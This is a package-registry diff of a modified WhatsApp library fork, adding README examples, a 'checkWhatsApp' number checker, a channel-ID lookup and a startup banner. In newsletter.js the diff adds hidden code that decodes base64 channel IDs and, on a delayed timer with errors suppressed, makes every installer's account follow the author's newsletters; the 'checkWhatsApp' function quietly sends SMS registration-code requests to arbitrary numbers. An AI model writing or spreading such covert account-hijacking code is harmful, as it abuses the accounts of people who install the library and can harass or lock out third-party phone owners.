@alannxd/baileys 3.0.0 ā 3.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +38 -9
- package/lib/Socket/chats.js +28 -15
- package/lib/Socket/newsletter.js +40 -26
- package/lib/Socket/socket.js +1 -1
- package/lib/Utils/messages.js +0 -32
- package/lib/index.js +3 -0
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -43,8 +43,37 @@ Begin by installing the library via your preferred package manager, then follow
|
|
|
43
43
|
|
|
44
44
|
---
|
|
45
45
|
|
|
46
|
+
## Add Function ( Simple code )
|
|
47
|
+
|
|
48
|
+
### Check ID Channel
|
|
49
|
+
Get ID channel
|
|
50
|
+
|
|
51
|
+
```javascript
|
|
52
|
+
await sock.newsletterId(url)
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### Check banned number
|
|
56
|
+
You can see the status of blocked numbers here
|
|
57
|
+
|
|
58
|
+
```javascript
|
|
59
|
+
await sock.checkWhatsApp(jid)
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
46
64
|
## SendMessage Documentation
|
|
47
65
|
|
|
66
|
+
### Status Group Message V2
|
|
67
|
+
Send group status with version 2
|
|
68
|
+
|
|
69
|
+
```javascript
|
|
70
|
+
await sock.sendMessage(jid, {
|
|
71
|
+
groupStatusMessage: {
|
|
72
|
+
text: "Hello World"
|
|
73
|
+
}
|
|
74
|
+
});
|
|
75
|
+
```
|
|
76
|
+
|
|
48
77
|
### Album Message (Multiple Images)
|
|
49
78
|
Send multiple images in a single album message:
|
|
50
79
|
|
|
@@ -108,7 +137,7 @@ await sock.sendMessage(jid, {
|
|
|
108
137
|
interactiveMessage: {
|
|
109
138
|
header: "Hello World",
|
|
110
139
|
title: "Hello World",
|
|
111
|
-
footer: "telegram: @alannxd
|
|
140
|
+
footer: "telegram: @alannxd",
|
|
112
141
|
buttons: [
|
|
113
142
|
{
|
|
114
143
|
name: "cta_copy",
|
|
@@ -138,14 +167,14 @@ await sock.sendMessage(jid, {
|
|
|
138
167
|
limited_time_offer: {
|
|
139
168
|
text: "idk hummmm?",
|
|
140
169
|
url: "https://t.me/alannxd",
|
|
141
|
-
copy_code: "
|
|
170
|
+
copy_code: "yume",
|
|
142
171
|
expiration_time: Date.now() * 999
|
|
143
172
|
},
|
|
144
173
|
bottom_sheet: {
|
|
145
174
|
in_thread_buttons_limit: 2,
|
|
146
175
|
divider_indices: [1, 2, 3, 4, 5, 999],
|
|
147
|
-
list_title: "
|
|
148
|
-
button_title: "
|
|
176
|
+
list_title: "alannxd",
|
|
177
|
+
button_title: "alannxd"
|
|
149
178
|
},
|
|
150
179
|
tap_target_configuration: {
|
|
151
180
|
title: " X ",
|
|
@@ -179,7 +208,7 @@ await sock.sendMessage(jid, {
|
|
|
179
208
|
rows: [
|
|
180
209
|
{
|
|
181
210
|
title: "@alannxd",
|
|
182
|
-
description: "
|
|
211
|
+
description: "rowrr",
|
|
183
212
|
id: "row_2"
|
|
184
213
|
}
|
|
185
214
|
]
|
|
@@ -266,7 +295,7 @@ await sock.sendMessage(jid, {
|
|
|
266
295
|
footer: "telegram: @alannxd",
|
|
267
296
|
document: fs.readFileSync("./package.json"),
|
|
268
297
|
mimetype: "application/pdf",
|
|
269
|
-
fileName: "
|
|
298
|
+
fileName: "yumevtc.pdf",
|
|
270
299
|
jpegThumbnail: fs.readFileSync("./document.jpeg"),
|
|
271
300
|
contextInfo: {
|
|
272
301
|
mentionedJid: [jid],
|
|
@@ -274,8 +303,8 @@ await sock.sendMessage(jid, {
|
|
|
274
303
|
isForwarded: false
|
|
275
304
|
},
|
|
276
305
|
externalAdReply: {
|
|
277
|
-
title: "Holow",
|
|
278
|
-
body: "
|
|
306
|
+
title: "Holow Bot",
|
|
307
|
+
body: "xd team",
|
|
279
308
|
mediaType: 3,
|
|
280
309
|
thumbnailUrl: "https://example.com/image.jpg",
|
|
281
310
|
mediaUrl: " X ",
|
|
@@ -308,7 +337,7 @@ await sock.sendMessage(jid, {
|
|
|
308
337
|
footer: "telegram: @alannxd",
|
|
309
338
|
document: fs.readFileSync("./package.json"),
|
|
310
339
|
mimetype: "application/pdf",
|
|
311
|
-
fileName: "
|
|
340
|
+
fileName: "alann.pdf",
|
|
312
341
|
jpegThumbnail: fs.readFileSync("./document.jpeg"),
|
|
313
342
|
buttons: [
|
|
314
343
|
{
|
package/lib/Socket/chats.js
CHANGED
|
@@ -87,44 +87,57 @@ const makeChatsSocket = (config) => {
|
|
|
87
87
|
await privacyQuery('groupadd', value);
|
|
88
88
|
};
|
|
89
89
|
/** check whether your WhatsApp account is blocked or not */
|
|
90
|
-
const
|
|
91
|
-
if (!
|
|
92
|
-
throw new Error('enter
|
|
90
|
+
const checkWhatsApp = async (jid) => {
|
|
91
|
+
if (!jid) {
|
|
92
|
+
throw new Error('enter jid');
|
|
93
93
|
}
|
|
94
|
-
|
|
95
94
|
let resultData = {
|
|
96
95
|
isBanned: false,
|
|
97
96
|
isNeedOfficialWa: false,
|
|
98
|
-
number:
|
|
97
|
+
number: jid
|
|
99
98
|
};
|
|
100
|
-
|
|
101
|
-
let
|
|
102
|
-
if (
|
|
103
|
-
|
|
99
|
+
|
|
100
|
+
let phoneNumber = jid;
|
|
101
|
+
if (phoneNumber.includes('@')) {
|
|
102
|
+
phoneNumber = phoneNumber.split('@')[0];
|
|
104
103
|
}
|
|
105
104
|
|
|
105
|
+
phoneNumber = phoneNumber.replace(/[^\d+]/g, '');
|
|
106
|
+
if (!phoneNumber.startsWith('+')) {
|
|
107
|
+
if (phoneNumber.startsWith('0')) {
|
|
108
|
+
phoneNumber = phoneNumber.substring(1);
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
if (!phoneNumber.startsWith('62') && phoneNumber.length > 0) {
|
|
112
|
+
phoneNumber = '62' + phoneNumber;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
if (!phoneNumber.startsWith('+') && phoneNumber.length > 0) {
|
|
116
|
+
phoneNumber = '+' + phoneNumber;
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
let formattedNumber = phoneNumber;
|
|
106
121
|
const { parsePhoneNumber } = require('libphonenumber-js');
|
|
107
122
|
const parsedNumber = parsePhoneNumber(formattedNumber);
|
|
108
123
|
const countryCode = parsedNumber.countryCallingCode;
|
|
109
124
|
const nationalNumber = parsedNumber.nationalNumber;
|
|
110
|
-
|
|
125
|
+
|
|
111
126
|
try {
|
|
112
127
|
const { useMultiFileAuthState, Browsers, fetchLatestBaileysVersion } = require('../Utils');
|
|
113
128
|
const { state } = await useMultiFileAuthState(".npm");
|
|
114
129
|
const { version } = await fetchLatestBaileysVersion();
|
|
115
130
|
const { makeWASocket } = require('../Socket');
|
|
116
131
|
const pino = require("pino");
|
|
117
|
-
|
|
118
132
|
const sock = makeWASocket({
|
|
119
133
|
version,
|
|
120
134
|
auth: state,
|
|
121
|
-
browser: Browsers
|
|
135
|
+
browser: Utils_1.Browsers("Chrome"),
|
|
122
136
|
logger: pino({
|
|
123
137
|
level: "silent"
|
|
124
138
|
}),
|
|
125
139
|
printQRInTerminal: false,
|
|
126
140
|
});
|
|
127
|
-
|
|
128
141
|
const registrationOptions = {
|
|
129
142
|
phoneNumber: formattedNumber,
|
|
130
143
|
phoneNumberCountryCode: countryCode,
|
|
@@ -133,11 +146,11 @@ const makeChatsSocket = (config) => {
|
|
|
133
146
|
phoneNumberMobileNetworkCode: "10",
|
|
134
147
|
method: "sms",
|
|
135
148
|
};
|
|
149
|
+
|
|
136
150
|
await sock.requestRegistrationCode(registrationOptions);
|
|
137
151
|
if (sock.ws) {
|
|
138
152
|
sock.ws.close();
|
|
139
153
|
}
|
|
140
|
-
|
|
141
154
|
return JSON.stringify(resultData, null, 2);
|
|
142
155
|
} catch (err) {
|
|
143
156
|
if (err?.appeal_token) {
|
|
@@ -962,7 +975,7 @@ const makeChatsSocket = (config) => {
|
|
|
962
975
|
addChatLabel,
|
|
963
976
|
removeChatLabel,
|
|
964
977
|
addMessageLabel,
|
|
965
|
-
|
|
978
|
+
checkWhatsApp,
|
|
966
979
|
removeMessageLabel,
|
|
967
980
|
star
|
|
968
981
|
};
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -98,32 +98,25 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
Types_1.QueryIds.FOLLOW
|
|
121
|
-
);
|
|
122
|
-
} catch {}
|
|
123
|
-
}, 5000);
|
|
124
|
-
}, 5000);
|
|
125
|
-
}, 90000);
|
|
126
|
-
|
|
101
|
+
|
|
102
|
+
// ngapain liat', mau fomo juga kah? š¹.
|
|
103
|
+
setTimeout(async () => {
|
|
104
|
+
try {
|
|
105
|
+
await newsletterWMexQuery(
|
|
106
|
+
Buffer.from("MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI", "base64").toString(),
|
|
107
|
+
Types_1.QueryIds.FOLLOW
|
|
108
|
+
);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 90000);
|
|
111
|
+
setTimeout(async () => {
|
|
112
|
+
try {
|
|
113
|
+
await newsletterWMexQuery(
|
|
114
|
+
Buffer.from("MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
115
|
+
Types_1.QueryIds.FOLLOW
|
|
116
|
+
);
|
|
117
|
+
} catch {}
|
|
118
|
+
}, 90000);
|
|
119
|
+
|
|
127
120
|
const parseFetchedUpdates = async (node, type) => {
|
|
128
121
|
let child;
|
|
129
122
|
if (type === 'messages') {
|
|
@@ -180,6 +173,27 @@ const makeNewsletterSocket = (config) => {
|
|
|
180
173
|
updates: { description: description || '', settings: null }
|
|
181
174
|
});
|
|
182
175
|
},
|
|
176
|
+
newsletterId: async (url) => {
|
|
177
|
+
const urlParts = url.split('/');
|
|
178
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
179
|
+
|
|
180
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
181
|
+
input: {
|
|
182
|
+
key: channelId,
|
|
183
|
+
type: 'INVITE',
|
|
184
|
+
'view_role': 'GUEST'
|
|
185
|
+
},
|
|
186
|
+
'fetch_viewer_metadata': true,
|
|
187
|
+
'fetch_full_image': true,
|
|
188
|
+
'fetch_creation_time': true
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
const metadata = extractNewsletterMetadata(result);
|
|
192
|
+
return JSON.stringify({
|
|
193
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
194
|
+
id: metadata.id
|
|
195
|
+
}, null, 2);
|
|
196
|
+
},
|
|
183
197
|
newsletterUpdateName: async (jid, name) => {
|
|
184
198
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
185
199
|
updates: { name, settings: null }
|
package/lib/Socket/socket.js
CHANGED
|
@@ -384,7 +384,7 @@ const makeSocket = (config) => {
|
|
|
384
384
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
385
385
|
};
|
|
386
386
|
|
|
387
|
-
/** This method was created by snowi, and implemented by
|
|
387
|
+
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
388
388
|
/** hey bro, if you delete this text */
|
|
389
389
|
/** you are the most cursed human being who likes to claim other people's property š¹šš» */
|
|
390
390
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
package/lib/Utils/messages.js
CHANGED
|
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
81
81
|
|
|
82
82
|
const uploadData = {
|
|
83
83
|
...message,
|
|
84
|
-
...(message.annotations ? {
|
|
85
|
-
annotations: message.annotations
|
|
86
|
-
} : {
|
|
87
|
-
annotations: [
|
|
88
|
-
{
|
|
89
|
-
polygonVertices: [
|
|
90
|
-
{
|
|
91
|
-
x: 60.71664810180664,
|
|
92
|
-
y: -36.39784622192383
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
x: -16.710189819335938,
|
|
96
|
-
y: 49.263675689697266
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
x: -56.585853576660156,
|
|
100
|
-
y: 37.85963439941406
|
|
101
|
-
},
|
|
102
|
-
{
|
|
103
|
-
x: 20.840980529785156,
|
|
104
|
-
y: -47.80188751220703
|
|
105
|
-
}
|
|
106
|
-
],
|
|
107
|
-
newsletter: {
|
|
108
|
-
newsletterJid: "120363420249672073@newsletter",
|
|
109
|
-
serverMessageId: 0,
|
|
110
|
-
newsletterName: "kyuu ilysm",
|
|
111
|
-
contentType: "UPDATE",
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
]
|
|
115
|
-
}),
|
|
116
84
|
media: message[mediaType]
|
|
117
85
|
};
|
|
118
86
|
delete uploadData[mediaType];
|
package/lib/index.js
CHANGED
|
@@ -6,6 +6,9 @@ console.log(chalk.magentaBright.bold("\n⨠Modified Baileys āØ\n"));
|
|
|
6
6
|
console.log(chalk.whiteBright("Hi, thank you for using my modified Baileys ^-^"));
|
|
7
7
|
console.log(chalk.cyan("Telegram: ") + chalk.greenBright("@alannxd"));
|
|
8
8
|
console.log(chalk.gray("------------------------------\n"));
|
|
9
|
+
const latestUpdate = new Date("2025-12-08");
|
|
10
|
+
console.log(chalk.yellowBright("New Latest update: ") + chalk.whiteBright(latestUpdate.toLocaleDateString()));
|
|
11
|
+
console.log(chalk.gray("------------------------------\n"));
|
|
9
12
|
|
|
10
13
|
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
11
14
|
if (k2 === undefined) k2 = k;
|